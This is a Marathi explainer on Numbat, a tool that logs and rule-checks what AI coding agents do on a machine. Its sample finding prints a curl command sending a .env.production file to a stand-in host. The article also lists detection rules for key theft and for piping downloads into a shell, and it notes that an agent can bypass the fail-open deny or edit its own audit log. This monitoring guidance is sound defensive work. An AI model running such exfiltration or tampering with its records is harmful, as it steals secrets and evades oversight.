Numbat: तुमचा AI agent काय करतो ते पाहा
Perplexity ने open source केलेले Numbat AI coding agents ची प्रत्यक्ष कामे नोंदवते. ते काय पाहते, rules कसे लागू करते आणि काय थांबवू शकत नाही हे जाणून घ्या.
Numbat म्हणजे काय
Numbat तुमच्या मालकीच्या मशीनवर AI agent ने केलेल्या कृतींची दृश्यता देते. Coding agents आधीच तयार करत असलेले hook callbacks आणि session files ते वाचते, त्यांना एका event format मध्ये सामान्यीकृत करते आणि SSH private key वाचणे किंवा download थेट shell मध्ये pipe करणे यांसारख्या वर्तनावर कार्यान्वित होणाऱ्या rules शी त्यांची जुळवणी करते. Perplexity ने ते Apache 2.0 परवान्याअंतर्गत open source म्हणून प्रसिद्ध केले. त्याची पहिली tagged release 29 July 2026 रोजी झाली.
खालील सर्व माहिती 2 August 2026 रोजी project repository आणि त्याच्या स्वतःच्या documentation मधून घेतली आहे. Release history, install requirements, record schema आणि agent coverage यांची repository शी 12 October 2026 रोजी पुन्हा पडताळणी करण्यात आली. Perplexity ने केलेला दावा असेल, तर या लेखात ते स्पष्टपणे नमूद केले आहे. हे install tutorial नाही, कारण repository अद्याप नवीन आहे आणि त्यातील commands बदलतील.
समस्या: एजंटने काय केले याची कोणीही नोंद ठेवत नाही
तुमच्या VPS वरील coding agent shell commands चालवतो, files वाचतो, files लिहितो आणि network connections उघडतो. हे सर्व तो तुम्ही त्याला दिलेल्या user म्हणून करतो. तुमच्या shell history मध्ये यापैकी काहीही नोंदले जात नाही, कारण agent तुमच्या shell मध्ये typing करत नाही. sshd तुमचा login आणि त्यानंतर model ने केलेल्या कोणत्याही कृतीची नोंद ठेवत नाही. /var/log/auth.log फक्त काहीतरी sudo कडे पोहोचण्याचा प्रयत्न करेपर्यंत शांत राहते. Agent स्वतःचा transcript ठेवतो. मात्र ती file agent च्या session directory मध्ये असते, तिचा format releases नुसार बदलतो आणि agent ची स्वतःची process त्यात लिहू शकते.
म्हणून agent ने मागील मंगळवारी .env.production वाचले का, असे कोणी विचारल्यास बहुतेक servers वर प्रामाणिक उत्तर हेच असते की ते तुम्ही निश्चितपणे सांगू शकत नाही. हीच उणीव भरून काढण्यासाठी हा project अस्तित्वात आहे.
Perplexity नुसार Numbat काय करते
README मध्ये या साधनाचे वर्णन “AI agent activity साठी endpoint visibility, local detection, optional pre-action blocking आणि forensic reconstruction” असे केले आहे. येथे endpoint म्हणजे agent ज्या मशीनवर चालतो ती मशीन. बाहेरून निरीक्षण करणारे network appliance नव्हे. या स्वतंत्र क्षमता आहेत आणि त्यांचे महत्त्वही वेगवेगळे आहे.
Detection डिव्हाइसवरच चालते. नियम CEL (common expression language) मध्ये लिहिले जातात आणि स्थानिक पातळीवर तपासले जातात. त्यावर multi-step sequence rules आणि YAML मध्ये स्वतःचे नियम लिहिण्याची सुविधाही आहे. एखादा नियम लागू होण्यासाठी कोणताही डेटा मशीनबाहेर जाण्याची गरज नसते.
Blocking ऐच्छिक आणि मर्यादित आहे. ते फक्त synchronous pre-action hooks द्वारे कार्य करते. हे hooks उपलब्ध करून देणाऱ्या agents वरच ते लागू होते आणि तुम्ही ते सुरू करेपर्यंत बंद असते.
Reconstruction नंतरच्या टप्प्यावर होते. numbat scan agent ने आधीच disk वर लिहिलेले session artifacts parse करते. त्यामुळे काहीही install करण्यापूर्वीची activity देखील पाहता येते. या दाव्याची मर्यादा प्रकल्प स्पष्टपणे सांगतो: “At-rest reconstruction म्हणजे disk किंवा memory acquisition नाही. Agent ने persist न केलेली activity ती पुन्हा मिळवू शकत नाही.”
Output हे versioned NDJSON (newline delimited JSON) स्वरूपात असते. त्यात events, findings, enforcement decisions, indicators आणि scan summaries समाविष्ट असतात. v0.1.2 च्या वेळी schema version 0.2.0 होती. त्यानंतर schema बदलली आहे: 12 October 2026 रोजी repository मध्ये 0.2.0, 0.3.0 आणि 0.4.0 या schema versions उपलब्ध होत्या आणि README मधील record examples मध्ये 0.4.0 दाखवले होते. Records stdout किंवा local file मध्ये लिहिले जातात. तुम्ही चालवत असलेल्या collector कडे ते HTTP द्वारे पाठवण्याचाही पर्याय आहे. हे cgo शिवाय build केलेले एक static Go binary म्हणून उपलब्ध होते. ते macOS, Linux आणि Windows साठी amd64 आणि arm64 वर चालते. त्यामुळे Linux VPS वर आधी कोणतेही runtime install करण्याची गरज नसते; एकच file पुरेशी असते.
Numbat प्रत्यक्षात कोणते agents पाहू शकतो?
docs/agent-coverage.md मधील coverage matrix ही अधिकृत यादी आहे आणि तिच्यात सर्व agents साठी समान coverage नाही. प्रकल्प हे स्पष्टपणे सांगतो; ते ही माहिती लपवत नाही. Claude Code, Codex, Gemini CLI, Cursor आणि GitHub Copilot CLI यांच्यासाठी artifact scanning आणि pre-action hook सह live capture दोन्ही उपलब्ध आहेत. OpenClaw साठी version 2026.7.1 पासून native plugin उपलब्ध आहे. अनेक entries deferred म्हणून चिन्हांकित आहेत. याचा अर्थ live hook path उपलब्ध आहे, पण artifact parser उपलब्ध नाही. याचे सामान्य कारण असे आहे की तो agent आपला history SQLite मध्ये write-ahead log सह साठवतो आणि agent चालू असताना तो सुरक्षितपणे वाचता येत नाही. Cline CLI या गटात येतो: त्याचे live hooks कार्यरत आहेत, परंतु त्याच्या SQLite sessions चे parsing केले जात नाही. OpenCode हे वेगळे प्रकरण आहे. v0.1.2 matrix त्याचे जुने JSON stores parse करते आणि फक्त सध्याचा opencode.db database deferred ठेवते. त्यात OpenCode साठी pre-action enforcement दिलेले नाही. 12 October 2026 रोजी main वरील matrix मध्येही हीच माहिती होती.
या tool च्या आधारे कोणतीही योजना करण्यापूर्वी आपल्या agent ची row तपासा. कारण जवळजवळ प्रत्येक row मध्ये "supported" याचा अर्थ वेगळा आहे.
काय शोधले गेले हे कसे दिसते
Rules मध्ये त्यांचा उपयोग सांगणारे ids असतात. secrets.read_private_key मध्ये SSH key, AWS credentials, kube config किंवा package registry login समाविष्ट असतो. exec.download_pipe_shell तेव्हा match होतो जेव्हा curl किंवा wget चे output interpreter कडे pipe केले जाते. privilege.elevated_shell मध्ये sudo, doas, su किंवा pkexec द्वारे interactive root shell मागण्याची घटना पकडली जाते. impact.cryptomining_launch ज्ञात miner binaries आणि image names शी match होतो.
Sequence rules एका session मधील events एकत्र जोडतात. chain.secret_read_then_egress मध्ये आधी secret file read झालेला आणि त्यानंतर data बाहेर पाठवणारी command असलेली sequence आवश्यक असते. README मध्ये खालील finding दोन Claude Code pre-action callbacks च्या नियंत्रित replay मधून प्रकाशित केली आहे; ती live incident मधून घेतलेली नाही. येथे फक्त महत्त्वाची fields ठेवली आहेत:
{
"record_type": "finding",
"rule_id": "chain.secret_read_then_egress",
"rule_version": "1.4",
"severity": "high",
"confidence": "medium",
"title": "Secret-file access followed by data-bearing egress",
"observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
"source_agent": "claude-code",
"source_type": "hook",
"tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}Record मध्ये "confidence": "medium" कुठे आहे ते पाहा. तसेच या संपूर्ण output वर्गाबद्दल project काय सांगतो ते पाहा: "Findings are rule matches, not proof of compromise." एखादी deploy script key वाचून build artifact upload करत असेल, तर ती त्याच sequence rule शी match होईल. Match बरोबर आहे, पण alarm चुकीचा आहे. तुम्ही आतापर्यंत वापरलेल्या प्रत्येक detection tool ची हीच सामान्य स्थिती आहे.
डीफॉल्टनुसार Blocking बंद असते आणि ती fail-open पद्धतीने कार्य करते
Numbat मधील प्रत्येक rule फक्त monitoring करतो. एखाद्या rule ला block मध्ये बदलणे हे जाणीवपूर्वक करावे लागते: त्या rule चे संपूर्ण YAML आपल्या directory मध्ये copy करा, तोच id ठेवा, enforce: true जोडा, version वाढवा आणि नंतर ती policy validate करून install करा.
numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
--rules-dir ./numbat-policy --enforceआता Numbat वर किती विश्वास ठेवायचा हे ठरवणारा भाग पाहू. Numbat चा deny हा agent कडे परत पाठवलेला response असतो. Tool call प्रत्यक्षात नाकारणारा घटक agent असतो. Numbat मध्येच समस्या आल्यास काय होते, हे enforcement guide स्पष्टपणे सांगते: "Malformed payloads, relevant evaluation errors, panics, and output failures suppress the numbat deny." Hook input ची कमाल मर्यादा 4 MiB आहे. मर्यादेपेक्षा मोठ्या input साठीही हाच मार्ग लागू होतो.
प्रत्यक्षात deny मिळाल्यानंतरही त्याची मर्यादा काय आहे, हे guide तितक्याच स्पष्टपणे सांगते: "Fail-open means numbat withholds its deny response. It does not guarantee that the tool executes: the host may still prompt, deny, time out, or apply another hook or policy."
म्हणून येथे enforcement हा सुरक्षा-नियंत्रक आहे, अंतिम सीमा नाही. Process crash झाल्यास Numbat त्या action ला block करत नाही. कारण प्रत्येक वेळी समस्या आली की तुमचा agent थांबवणारा monitor एका आठवड्यात uninstall केला जाईल. हा तडजोडीचा परिणाम स्वीकारण्याजोगा आहे. मात्र deny नेहमी पोहोचेल असे गृहीत धरून security model तयार करू नका.
तुम्ही आधीपासून करत असलेल्या कामांच्या तुलनेत Numbat कुठे बसतो
Numbat endpoint वर, agent च्या स्वतःच्या process tree मध्ये चालतो आणि डीफॉल्टनुसार ~/.numbat/records.ndjson मध्ये लिहितो. तुमच्या user म्हणून चालणारा agent ती file वाचू शकतो. तो ती edit देखील करू शकतो. Audit trail चे मूल्य त्याभोवती असलेल्या isolation इतकेच असते. त्यामुळे तुमच्याकडे आधीपासून असलेले प्रत्येक control या control च्या मागे नव्हे, तर पुढे असणे आवश्यक आहे.
coding agent साठी disposable VM देणे एखाद्या चुकीच्या run ला पोहोचता येणाऱ्या गोष्टींची मर्यादा ठरवते. VPS वर least privilege user ठेवणे agent ला त्याने उघडू नयेत अशा files पासून दूर ठेवते. agent च्या context मधून credentials दूर ठेवणे यामुळे secrets.read_private_key आढळणे इतके दुर्मिळ होते की ते घडल्यावर log वाचणे उपयुक्त ठरते. आणि VPS वर Claude Code साठी तुम्ही उभारलेला sandbox अजूनही containment चे काम करतो. Containment मुळे चुकीच्या run ला स्पर्श करता येणाऱ्या गोष्टींची मर्यादा ठरते, तर code अशा प्रकारे का लिहिला आहे हे नोंदवून ठेवणे agent कडून तुम्हाला log तपासावा लागेल इतके अनपेक्षित काही घडण्याची वारंवारता कमी करते.
Numbat कडून मिळणारी भर म्हणजे record. त्यामुळे तो record agent ला पोहोचता येणार नाही अशा ठिकाणी पाठवा. numbat ship आणि HTTP sink यासाठी आहेत. दुसऱ्या machine वर stream ची copy ठेवल्यास log file आणि evidence यांच्यातील फरक स्पष्ट होतो. Event model मध्ये MCP (model context protocol) fields देखील असतात. त्यामुळे VPS वर host केलेल्या MCP server मधून बाहेर जाणारे tool calls, local shell commands प्रमाणेच, त्याच stream मध्ये नोंदवले जातात. हे महत्त्वाचे आहे, कारण फक्त bash वर लक्ष ठेवणाऱ्या कोणत्याही पद्धतीला हा मार्ग दिसत नाही. हाच blind spot agent च्या search backend म्हणून जोडलेल्या SearXNG instance लाही लागू होतो. येथे धोका कोणत्याही rule शी जुळणाऱ्या command च्या रूपात नव्हे, तर untrusted page text model च्या context मध्ये जाण्याच्या रूपात येतो.
फक्त read-only पद्धतीने प्रथम तपासा
Pinned version install करा. खालील command v0.1.2 pin करतो. या version च्या README मध्ये Go 1.26.5 किंवा त्यानंतरची आवृत्ती आवश्यक असल्याचे नमूद आहे. 12 October 2026 रोजी main वरील README मध्ये Go 1.26.6 किंवा त्यानंतरची आवृत्ती आवश्यक असल्याचे नमूद होते. हा बदल v0.2.0 मध्ये आला. त्यामुळे नवीन tag pin करत असल्यास 1.26.6 वापरा. Source code पासून build करायचे नसल्यास releases page वर SHA-256 checksums सह prebuilt binaries उपलब्ध आहेत.
go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scannumbat agents system वर install केलेले agents शोधते. numbat scan disk वर आधीपासून असलेल्या session artifacts चे parsing करते आणि records दाखवते. README नुसार, हे commands "hooks install करत नाहीत किंवा agent configuration बदलत नाहीत". तसेच numbat "artifacts मध्ये सापडलेले agents किंवा commands कधीही execute करत नाही आणि configured HTTP sinks शिवाय इतर कोणत्याही ठिकाणी outbound requests पाठवत नाही". Secret redaction सह scanning read-only असते आणि सामान्य record output मध्ये पूर्ण raw transcript कधीही समाविष्ट नसतो.
पुढील पायरी live capture आहे. यामुळे agent configuration बदलते:
numbat hook install --agent codex --emit all
numbat hook status --agent codex--emit all events, findings, indicators आणि लागू enforcement decisions ~/.numbat/records.ndjson मध्ये लिहिते. Project कडून थेट दिलेल्या दोन सूचना लक्षात ठेवा. Hooks प्रत्यक्ष चालण्यापूर्वी agent मध्ये trusted असणे आवश्यक असू शकते. तसेच --enforce सारखे flags बदलल्यानंतर त्या trust ची पुन्हा समीक्षा करावी लागते. hook status "execution किंवा delivery नव्हे, तर configuration पडताळते". त्यामुळे healthy status line दिसणे म्हणजे records कुठेतरी पोहोचत आहेत याचा पुरावा नाही.
इतक्या नवीन repository वर अवलंबून राहणे योग्य नाही
12 October 2026 पर्यंत सार्वजनिक releases म्हणजे 29 July 2026 रोजीचे v0.1.1, 1 August 2026 रोजीचे v0.1.2 आणि 17 August 2026 रोजीचे v0.2.0. Releases पृष्ठावर v0.2.0 ला latest म्हणून दाखवले आहे. हे लिखाण 2 August 2026 रोजी तयार केले तेव्हा repository ला 597 stars होत्या. इतक्या वेगाने वाढणारी संख्या code किती स्थिर आहे हे नव्हे, तर Perplexity च्या audience ची व्याप्ती दर्शवते. Star म्हणजे एखाद्याने ते पृष्ठ नंतर पाहण्यासाठी जतन केले आहे.
Version number या प्रकल्पाची सद्यस्थिती स्पष्टपणे दर्शवतो. v0.1.2 मधील नोंदींमध्ये प्रामुख्याने credential redaction fixes, तसेच case bundle आणि telemetry normalisation यांचे काम आहे. v0.2.0 मधील नोंदींमध्ये मर्यादित message content capture, त्याच्या beforeReadFile hook द्वारे Cursor read-file enforcement आणि आणखी redaction fixes समाविष्ट आहेत. इतर प्रोग्रामच्या transcripts सुरक्षितपणे वाचणे हे ज्या tool चे काम आहे, त्याच्या सुरुवातीच्या defects चे अपेक्षित स्वरूप redaction bugs असेच असते. असे आणखी bugs येतील, कारण input डझनभर agents कडून येतात आणि प्रत्येक agent आपले format स्वतंत्र वेळापत्रकानुसार बदलतो.
यातून दोन व्यावहारिक नियम लागू होतात. तुम्ही जतन करून ठेवत असलेल्या कोणत्याही गोष्टीत tag pin करा; @latest कधीही pin करू नका. तसेच record schema मध्ये बदल होणे थांबेपर्यंत, किमान तोपर्यंत, त्याला तुम्ही ज्यावर अवलंबून आहात असे control न मानता मूल्यांकन करत असलेले instrument माना. हे बदलणे अद्याप थांबलेले नाही: सुमारे दहा आठवड्यांत ते v0.1.2 मधील 0.2.0 वरून main वरील README मधील 0.4.0 पर्यंत गेले.
FAQ
Numbat धोकादायक AI agent commands अवरोधित करते का?
फक्त तुम्ही तो पर्याय निवडल्यास आणि केवळ best effort तत्त्वावर. Numbat सोबत येणारा प्रत्येक rule केवळ monitor-only असतो. अवरोधित करण्यासाठी त्या rule चे YAML तुमच्या स्वतःच्या directory मध्ये copy करा, त्याचा id तसाच ठेवा, enforce: true जोडा, version वाढवा आणि --enforce वापरून hook install करा. तरीही deny हा agent कडे पाठवलेला response असतो आणि call नाकारणारा agentच असतो. Project मध्ये fail-open behaviour दस्तऐवजीकरण केले आहे: malformed payloads, evaluation errors, panics आणि output failures यांमुळे deny दडपला जातो. याचा guardrail म्हणून वापर करा; एकमेव सुरक्षा सीमा म्हणून नाही.
Numbat कोणत्या AI agents ला support करते?
Coverage प्रत्येक agent नुसार वेगळी आहे आणि repository मधील docs/agent-coverage.md मध्ये दिली आहे. हे पृष्ठ 2 August 2026 रोजी वाचले तेव्हा Claude Code, Codex, Gemini CLI, Cursor आणि GitHub Copilot CLI यांच्यासाठी artifact scanning आणि live capture दोन्ही उपलब्ध होते. OpenClaw साठी version 2026.7.1 पासून native plugin उपलब्ध आहे. इतर अनेक agents साठी live hook path दिलेला आहे; मात्र artifact parser अद्याप उपलब्ध नाही. याचे सामान्य कारण म्हणजे त्यांचा session history SQLite database मध्ये असतो आणि agent चालू असताना तो सुरक्षितपणे वाचता येत नाही. तुमच्या agent साठीची row वाचा, कारण तेथे "supported" या शब्दात अनेक वेगवेगळ्या स्तरांचा समावेश होतो.
Agent Numbat च्या records मध्ये छेडछाड करू शकतो का?
होय, तो त्याच user म्हणून चालत असल्यास. Records default ने agent ज्या machine वर चालतो त्याच machine वरील ~/.numbat/records.ndjson मध्ये साठवले जातात. त्यामुळे त्या path वर write access असलेली कोणतीही गोष्ट ते बदलू किंवा delete करू शकते. Stream अशा collector कडे पाठवा ज्यापर्यंत agent पोहोचू शकत नाही. यासाठी numbat ship किंवा HTTP sink वापरा आणि local file ही सोयीची copy म्हणून ठेवा. म्हणूनच हे tool isolation ला पूरक आहे; त्याची जागा घेणारे नाही. least privilege user अंतर्गत disposable VM मध्ये confined केलेल्या agent ला स्वतःच्या audit trail वर फारच कमी नियंत्रण मिळते.
Production server साठी Numbat तयार आहे का?
ज्या control वर तुम्ही अवलंबून राहणार आहात, त्या स्वरूपात नाही. पहिली public release v0.1.1 ही 29 July 2026 रोजी झाली. त्यानंतर 1 August 2026 रोजी v0.1.2 आणि 17 August 2026 रोजी v0.2.0 release झाली. 12 October 2026 पर्यंत README मधील record schema 0.4.0 पर्यंत पोहोचली होती. त्यामुळे flags आणि record schema दोन्ही अजून बदलत आहेत. एखाद्या box वर numbat agents आणि numbat scan चालवणे read-only आणि कमी जोखमीचे आहे. त्यातून तुमचे agents disk वर काय ठेवत आहेत हे समजेल. महत्त्वाच्या server वर enforcement hooks install करणे हा वेगळा निर्णय आहे. त्यासाठी pinned tag आणि hook चुकीच्या पद्धतीने वागल्यास काय करायचे याची योजना आवश्यक आहे.